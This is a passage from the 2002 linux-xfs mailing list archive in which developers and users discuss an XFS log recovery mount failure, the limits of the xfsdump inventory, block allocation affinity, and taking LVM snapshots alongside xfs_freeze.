owner-linux-xfs@oss.sgi.com Precedence: bulk Eric Sandeen wrote: > > On Thu, 15 Aug 2002, Christian Rice wrote: > > > Yeah, I ran xfs_repair on it after trying a mount and getting the usual: > > > > [root@ozu tmp]# mount -t xfs /dev/hdb3 /hdb3 > > mount: wrong fs type, bad option, bad superblock on /dev/hdb3, > > or too many mounted file systems > > Christian - Do you have any idea what the true error was behind mount's > very unhelpful error message? It would be in the system logs. > > I suppose it was a recovery error, but it might be interesting to see > what went wrong in the first place. > > You've said that this happens to you more than you would like... again, > it would be interesting to see if the original mount failure is the same. > > Thanks, > > -Eric As a matter of fact, the system log shows this when I try to mount: Aug 16 10:05:51 ozu kernel: XFS mounting filesystem ide0(3,67) Aug 16 10:05:52 ozu kernel: XFS: nil uuid in log - IRIX style log Aug 16 10:05:52 ozu kernel: Starting XFS recovery on filesystem: ide0(3,67) (dev: 3/67) Aug 16 10:05:52 ozu kernel: XFS: log mount/recovery failed Aug 16 10:05:52 ozu kernel: XFS: log mount failed Does that shed any light? -- christian rice director of technology tippett studio 510.649.9711 l--xr----- From owner-linux-xfs@oss.sgi.com Fri Aug 16 10:47:36 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GHlaRw029361 for ; Fri, 16 Aug 2002 10:47:36 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GHlaHB029360 for linux-xfs-outgoing; Fri, 16 Aug 2002 10:47:36 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf09bis.bellsouth.net (mail309.mail.bellsouth.net [205.152.58.169]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GHlTRw029330 for ; Fri, 16 Aug 2002 10:47:29 -0700 Received: from TAZ2 ([66.156.4.66]) by imf09bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020816175141.BVMV6412.imf09bis.bellsouth.net@TAZ2> for ; Fri, 16 Aug 2002 13:51:41 -0400 Date: Fri, 16 Aug 2002 13:48:54 -0400 From: Greg Freemyer Subject: Hopefully simple xfsrestore question To: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020816175141.BVMV6412.imf09bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7GHlURw029331 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, I have a an xfs test machine, so the data is not critical, but I want to understand better how restore works. I have been making xfsdump backups on a daily basis. Levels (Sun - Sat.): 0, 1, 2, 3, 1, 2, 3, 4 Today, I came across the "zero filled files" error, so I want to restore the most current backup of that file (ie /config/myscript). How do I do that? I can see that I can manually search backward by level, but that involves possibly reading 4 backups. I'm hoping that the xvsdump inventory has the name of the files backed up in there, so I can simply ask "which backup session has the latest copy of /config/myscript?". Then restore the file from that one backup. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 16 10:56:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GHuoRw029675 for ; Fri, 16 Aug 2002 10:56:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GHuobJ029674 for linux-xfs-outgoing; Fri, 16 Aug 2002 10:56:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GHuhRw029646 for ; Fri, 16 Aug 2002 10:56:43 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id MAA48779; Fri, 16 Aug 2002 12:59:18 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id MAA11850; Fri, 16 Aug 2002 12:59:18 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7GHuwP23083; Fri, 16 Aug 2002 12:56:58 -0500 Subject: Re: Hopefully simple xfsrestore question From: Steve Lord To: Greg Freemyer Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020816175141.BVMV6412.imf09bis.bellsouth.net@TAZ2> References: <20020816175141.BVMV6412.imf09bis.bellsouth.net@TAZ2> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 16 Aug 2002 12:56:58 -0500 Message-Id: <1029520618.27842.67.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-16 at 12:48, Greg Freemyer wrote: > Hi, > > I have a an xfs test machine, so the data is not critical, but I want to understand better how restore works. > > I have been making xfsdump backups on a daily basis. > > Levels (Sun - Sat.): 0, 1, 2, 3, 1, 2, 3, 4 > > Today, I came across the "zero filled files" error, so I want to restore the most current backup of that file (ie /config/myscript). > > How do I do that? > > I can see that I can manually search backward by level, but that involves possibly reading 4 backups. > > I'm hoping that the xvsdump inventory has the name of the files backed up in there, so I can simply ask "which backup session has the latest copy of /config/myscript?". > > Then restore the file from that one backup. > I am not a dump expert, but take a look at xfsinvutil and xfsdump -I, I think the latter is what you want. It has filtering options, and you can probably combine them with grep to do what you want. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 16 11:27:42 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GIRgRw030123 for ; Fri, 16 Aug 2002 11:27:42 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GIRg7O030122 for linux-xfs-outgoing; Fri, 16 Aug 2002 11:27:42 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf00bis.bellsouth.net (mail000.mail.bellsouth.net [205.152.58.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GIRYRw030093 for ; Fri, 16 Aug 2002 11:27:35 -0700 Received: from TAZ2 ([66.156.4.66]) by imf00bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020816183147.CIZE23992.imf00bis.bellsouth.net@TAZ2>; Fri, 16 Aug 2002 14:31:47 -0400 Date: Fri, 16 Aug 2002 14:29:00 -0400 From: Greg Freemyer Subject: A more comprehensive backup inventory? [WAS: re[2]: Hopefully simple xfsrestore question] To: Steve Lord cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020816183147.CIZE23992.imf00bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7GIRZRw030094 X-Spam-Status: No, hits=0.6 required=5.0 tests=SUBJ_HAS_Q_MARK,SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >> I am not a dump expert, but take a look at xfsinvutil and xfsdump -I, >> I think the latter is what you want. It has filtering options, and >> you can probably combine them with grep to do what you want. >> Steve >> -- >> Steve Lord voice: +1-651-683-3511 >> Principal Engineer, Filesystem Software email: lord@sgi.com Thanks for the thought Steve, but I don't see any way to get file-by-file dump data out of the xfsdump inventory. xfsdump seems to be only keeping overall session info in the inventory, not a list of which files are backed up by a given xfsdump session. On my server, the inventory files themselves are all less than 10K . I have over 40,000 files on the server (all non-critical test data), so I'm pretty sure xfs is not storing the kind of inventory I was hoping it was. I have used OmniBack from HP before, and I pretty sure I could interrogate its inventory and it would tell me which tapes had a copy of a specific file. Question for all: Getting a list of which backups contain a specific file seems like a common need. Does anyone have a solution for this? Does Amanda or some other backup management software provide this ability? Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 16 12:11:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GJB5Rw030723 for ; Fri, 16 Aug 2002 12:11:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GJB5Aj030722 for linux-xfs-outgoing; Fri, 16 Aug 2002 12:11:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from relay-3v.club-internet.fr (relay-3v.club-internet.fr [194.158.96.114]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GJAxRw030693 for ; Fri, 16 Aug 2002 12:11:00 -0700 Received: from agnes (lns10v-8-176.w.club-internet.fr [213.44.235.176]) by relay-3v.club-internet.fr (Postfix) with ESMTP id D297A16AD for ; Fri, 16 Aug 2002 21:13:38 +0200 (CEST) Subject: Any notion of file affinity in XFS? From: Jean Francois Martinez To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 16 Aug 2002 21:22:52 +0200 Message-Id: <1029525773.21439.215.camel@agnes.fremen.dune> Mime-Version: 1.0 X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I see many cases where for performance reasons I would like being able to tell XFS that two files should be physically close (affine) so disk space allcation should treat them as a whole. It could be something like that: -tell the filesystem that the files I will create are affine -create them -revoke affinity. Does this exist? -Any plans to implement it or know of a filesystem where this exists? JFM From owner-linux-xfs@oss.sgi.com Fri Aug 16 12:21:08 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GJL8Rw030922 for ; Fri, 16 Aug 2002 12:21:08 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GJL8lt030921 for linux-xfs-outgoing; Fri, 16 Aug 2002 12:21:08 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf18bis.bellsouth.net (mail118.mail.bellsouth.net [205.152.58.58]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GJL1Rw030892 for ; Fri, 16 Aug 2002 12:21:01 -0700 Received: from TAZ2 ([66.156.4.66]) by imf18bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020816192336.CSVB18137.imf18bis.bellsouth.net@TAZ2> for ; Fri, 16 Aug 2002 15:23:36 -0400 Date: Fri, 16 Aug 2002 15:22:27 -0400 From: Greg Freemyer Subject: 2 freeze/snapshot questions To: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020816192336.CSVB18137.imf18bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7GJL1Rw030893 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I'm testing snapshots under xfs for the first time. I'm using LVM from the SuSE 8.0 release and a updated SuSE kernel that was released at the end of July I tried a simple lvcreate --snapshot -L 25m --name config_snap /dev/VG1/config lvscan lvremove /dev/VG1/config_snap and it worked fine. (I only tried it once.) I just tried xfs_freeze -f /config lvcreate --snapshot -L 25m --name config_snap /dev/VG1/config xfs_freeze -u /config lvremove /dev/VG1/config_snap and the lvcreate command seems to be locked up. Also, a lvscan is now core dumping with a segmentation fault. So I have 2 questions: Should the above work? And if not, what is the right way to do this? How can I get the lvcreate to terminate? I tried kill -9, but it had no effect. Thanks Greg ======= Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 16 12:27:10 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GJRARw031086 for ; Fri, 16 Aug 2002 12:27:10 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GJRABj031085 for linux-xfs-outgoing; Fri, 16 Aug 2002 12:27:10 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GJR2Rw031057 for ; Fri, 16 Aug 2002 12:27:03 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA49576; Fri, 16 Aug 2002 14:29:38 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA08799; Fri, 16 Aug 2002 14:29:38 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7GJRIH23232; Fri, 16 Aug 2002 14:27:18 -0500 Subject: Re: A more comprehensive backup inventory? [WAS: re[2]: Hopefully simple xfsrestore question] From: Steve Lord To: Greg Freemyer Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020816183147.CIZE23992.imf00bis.bellsouth.net@TAZ2> References: <20020816183147.CIZE23992.imf00bis.bellsouth.net@TAZ2> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 16 Aug 2002 14:27:18 -0500 Message-Id: <1029526038.23167.4.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-1.3 required=5.0 tests=IN_REP_TO,SUBJ_HAS_SPACES,SIGNATURE_DELIM,SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-16 at 13:29, Greg Freemyer wrote: > > >> I am not a dump expert, but take a look at xfsinvutil and xfsdump -I, > >> I think the latter is what you want. It has filtering options, and > >> you can probably combine them with grep to do what you want. > > >> Steve > > >> -- > > >> Steve Lord voice: +1-651-683-3511 > >> Principal Engineer, Filesystem Software email: lord@sgi.com > > Thanks for the thought Steve, but I don't see any way to get file-by-file dump data out of the xfsdump inventory. xfsdump seems to be only keeping overall session info in the inventory, not a list of which files are backed up by a given xfsdump session. > > On my server, the inventory files themselves are all less than 10K . I have over 40,000 files on the server (all non-critical test data), so I'm pretty sure xfs is not storing the kind of inventory I was hoping it was. > > I have used OmniBack from HP before, and I pretty sure I could interrogate its inventory and it would tell me which tapes had a copy of a specific file. > > Question for all: > Getting a list of which backups contain a specific file seems like a common need. > > Does anyone have a solution for this? > > Does Amanda or some other backup management software provide this ability? > Looks like the inventory files are not a complete listing of what is in various dumps, there is no fast way to work out which dump you need to restore from at the XFS level. Amanda may offer this type of facility, I really do not know. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Aug 16 12:27:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GJRoRw031187 for ; Fri, 16 Aug 2002 12:27:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GJRoX5031186 for linux-xfs-outgoing; Fri, 16 Aug 2002 12:27:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf18bis.bellsouth.net (mail118.mail.bellsouth.net [205.152.58.58]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GJRdRw031137 for ; Fri, 16 Aug 2002 12:27:40 -0700 Received: from TAZ2 ([66.156.4.66]) by imf18bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020816193015.CWMG18137.imf18bis.bellsouth.net@TAZ2>; Fri, 16 Aug 2002 15:30:15 -0400 Date: Fri, 16 Aug 2002 15:29:05 -0400 From: Greg Freemyer Subject: re: 2 freeze/snapshot questions To: Greg Freemyer , Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020816193015.CWMG18137.imf18bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7GJReRw031156 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk More info: I went to another shell session and did a xfs_freeze -u /config and the initial lvcreate finished fine. So that answers my second question. Thanks Greg >> I'm testing snapshots under xfs for the first time. >> I'm using LVM from the SuSE 8.0 release and a updated SuSE kernel that was >> released at the end of July >> I tried a simple >> lvcreate --snapshot -L 25m --name config_snap /dev/VG1/config >> lvscan >> lvremove /dev/VG1/config_snap >> and it worked fine. (I only tried it once.) >> I just tried >> xfs_freeze -f /config >> lvcreate --snapshot -L 25m --name config_snap /dev/VG1/config >> xfs_freeze -u /config >> lvremove /dev/VG1/config_snap >> and the lvcreate command seems to be locked up. Also, a lvscan is now >> core dumping with a segmentation fault. >> So I have 2 questions: >> Should the above work? And if not, what is the right way to do this? >> How can I get the lvcreate to terminate? I tried kill -9, but it had no >> effect. >> Thanks >> Greg >> ======= >> Greg Freemyer >> Internet Engineer >> Deployment and Integration Specialist >> Compaq ASE - Tru64 v4, v5 >> Compaq Master ASE - SAN Architect >> The Norcross Group >> www.NorcrossGroup.com Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 16 12:31:48 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GJVmRw031417 for ; Fri, 16 Aug 2002 12:31:48 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GJVmB4031416 for linux-xfs-outgoing; Fri, 16 Aug 2002 12:31:48 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GJVdRw031388 for ; Fri, 16 Aug 2002 12:31:39 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA48968; Fri, 16 Aug 2002 14:34:15 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id OAA54565; Fri, 16 Aug 2002 14:34:14 -0500 (CDT) Subject: Re: Any notion of file affinity in XFS? From: Eric Sandeen To: Jean Francois Martinez Cc: linux-xfs@oss.sgi.com In-Reply-To: <1029525773.21439.215.camel@agnes.fremen.dune> References: <1029525773.21439.215.camel@agnes.fremen.dune> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 16 Aug 2002 14:34:06 -0500 Message-Id: <1029526446.2630.52.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.5 required=5.0 tests=IN_REP_TO,SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk The allocator itself has notions of how to do this; allocations happen with these flags: typedef enum xfs_alloctype { XFS_ALLOCTYPE_ANY_AG, /* allocate anywhere, use rotor */ XFS_ALLOCTYPE_FIRST_AG, /* ... start at ag 0 */ XFS_ALLOCTYPE_START_AG, /* anywhere, start in this a.g. */ XFS_ALLOCTYPE_THIS_AG, /* anywhere in this a.g. */ XFS_ALLOCTYPE_START_BNO, /* near this block else anywhere */ XFS_ALLOCTYPE_NEAR_BNO, /* in this a.g. and near this block */ XFS_ALLOCTYPE_THIS_BNO /* at exactly this block */ } xfs_alloctype_t; However, there is not any sort of ioctl to pick and choose an allocation method for a file... might be an interesting project, but it's not on the radar here. There are allocate space / reserve space ioctls, if you're ambitious, you could possibly write new versions that take in more information about how/where to allocate the space. Of course, you also may not get what you ask for... -Eric On Fri, 2002-08-16 at 14:22, Jean Francois Martinez wrote: > I see many cases where for performance reasons I would like being able > to tell XFS that two files should be physically close (affine) so disk > space allcation should treat them as a whole. It could be something > like that: > > -tell the filesystem that the files I will create are affine > -create them > -revoke affinity. > > Does this exist? > -Any plans to implement it or know of a filesystem where this exists? > > JFM > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 16 12:40:53 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GJerRw031775 for ; Fri, 16 Aug 2002 12:40:53 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GJerYk031774 for linux-xfs-outgoing; Fri, 16 Aug 2002 12:40:53 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GJegRw031739 for ; Fri, 16 Aug 2002 12:40:43 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA49694; Fri, 16 Aug 2002 14:43:19 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id OAA22477; Fri, 16 Aug 2002 14:43:18 -0500 (CDT) Subject: Re: 2 freeze/snapshot questions From: Eric Sandeen To: Greg Freemyer Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020816192336.CSVB18137.imf18bis.bellsouth.net@TAZ2> References: <20020816192336.CSVB18137.imf18bis.bellsouth.net@TAZ2> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 16 Aug 2002 14:43:10 -0500 Message-Id: <1029526990.2609.61.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Greg - I used LVM a bit this week to fix a bug, and the snapshots were working, at least as far as being able to create / mount / umount them. I don't know what flavor of LVM or XFS is in the SuSE kernel you have... but this is working for me with current CVS: pvcreate /dev/sda2 vgcreate volgroup2 /dev/sda2 lvcreate -L500 -nlogicalvol2 volgroup2 mkfs.xfs -f -q /dev/volgroup2/logicalvol2 mount /dev/volgroup2/logicalvol2 /mnt/lvmtest/ xfs_freeze -f /mnt/lvmtest/ lvcreate -L500M -s -n snapshot2 /dev/volgroup2/logicalvol2 xfs_freeze -u /mnt/lvmtest/ -Eric On Fri, 2002-08-16 at 14:22, Greg Freemyer wrote: > > I'm testing snapshots under xfs for the first time. > > I'm using LVM from the SuSE 8.0 release and a updated SuSE kernel that was released at the end of July > > I tried a simple > lvcreate --snapshot -L 25m --name config_snap /dev/VG1/config > lvscan > lvremove /dev/VG1/config_snap > > and it worked fine. (I only tried it once.) > > I just tried > xfs_freeze -f /config > lvcreate --snapshot -L 25m --name config_snap /dev/VG1/config > xfs_freeze -u /config > lvremove /dev/VG1/config_snap > > and the lvcreate command seems to be locked up. Also, a lvscan is now core dumping with a segmentation fault. > > So I have 2 questions: > > Should the above work? And if not, what is the right way to do this? > > How can I get the lvcreate to terminate? I tried kill -9, but it had no effect. > > Thanks > Greg > ======= > Greg Freemyer > Internet Engineer > Deployment and Integration Specialist > Compaq ASE - Tru64 v4, v5 > Compaq Master ASE - SAN Architect > The Norcross Group > www.NorcrossGroup.com -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Fri Aug 16 13:42:37 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GKgbRw012671 for ; Fri, 16 Aug 2002 13:42:37 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GKgbYo012670 for linux-xfs-outgoing; Fri, 16 Aug 2002 13:42:37 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf03bis.bellsouth.net (mail303.mail.bellsouth.net [205.152.58.163]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GKgMRw012640 for ; Fri, 16 Aug 2002 13:42:23 -0700 Received: from TAZ2 ([66.156.4.66]) by imf03bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020816204635.ISKX1621.imf03bis.bellsouth.net@TAZ2>; Fri, 16 Aug 2002 16:46:35 -0400 Date: Fri, 16 Aug 2002 16:43:48 -0400 From: Greg Freemyer Subject: re[2]: 2 freeze/snapshot questions To: Eric Sandeen cc: Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020816204635.ISKX1621.imf03bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7GKgNRw012641 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Thanks, It is working now. I don't have any idea what has changed. I know it can't be a typo because I was using a script, and the script has not changed. I guess I need to put some kind of timeout logic around the create snapshot. Thanks again Greg >> Greg - I used LVM a bit this week to fix a bug, and the snapshots were >> working, at least as far as being able to create / mount / umount them. >> I don't know what flavor of LVM or XFS is in the SuSE kernel you have... >> but this is working for me with current CVS: >> pvcreate /dev/sda2 >> vgcreate volgroup2 /dev/sda2 >> lvcreate -L500 -nlogicalvol2 volgroup2 >> mkfs.xfs -f -q /dev/volgroup2/logicalvol2 >> mount /dev/volgroup2/logicalvol2 /mnt/lvmtest/ >> xfs_freeze -f /mnt/lvmtest/ >> lvcreate -L500M -s -n snapshot2 /dev/volgroup2/logicalvol2 >> xfs_freeze -u /mnt/lvmtest/ >> -Eric >> On Fri, 2002-08-16 at 14:22, Greg Freemyer wrote: >> > >> > I'm testing snapshots under xfs for the first time. >> > >> > I'm using LVM from the SuSE 8.0 release and a updated SuSE kernel that >> was released at the end of July >> > >> > I tried a simple >> > lvcreate --snapshot -L 25m --name config_snap /dev/VG1/config >> > lvscan >> > lvremove /dev/VG1/config_snap >> > >> > and it worked fine. (I only tried it once.) >> > >> > I just tried >> > xfs_freeze -f /config >> > lvcreate --snapshot -L 25m --name config_snap /dev/VG1/config >> > xfs_freeze -u /config >> > lvremove /dev/VG1/config_snap >> > >> > and the lvcreate command seems to be locked up. Also, a lvscan is now >> core dumping with a segmentation fault. >> > >> > So I have 2 questions: >> > >> > Should the above work? And if not, what is the right way to do this? >> > >> > How can I get the lvcreate to terminate? I tried kill -9, but it had no >> effect. >> > >> > Thanks >> > Greg >> > ======= >> > Greg Freemyer >> > Internet Engineer >> > Deployment and Integration Specialist >> > Compaq ASE - Tru64 v4, v5 >> > Compaq Master ASE - SAN Architect >> > The Norcross Group >> > www.NorcrossGroup.com >> -- >> Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs >> sandeen@sgi.com SGI, Inc. 651-683-3102 Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 16 15:07:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GM75Rw014969 for ; Fri, 16 Aug 2002 15:07:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GM75Yk014968 for linux-xfs-outgoing; Fri, 16 Aug 2002 15:07:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf16bis.bellsouth.net (mail016.mail.bellsouth.net [205.152.58.36]) by 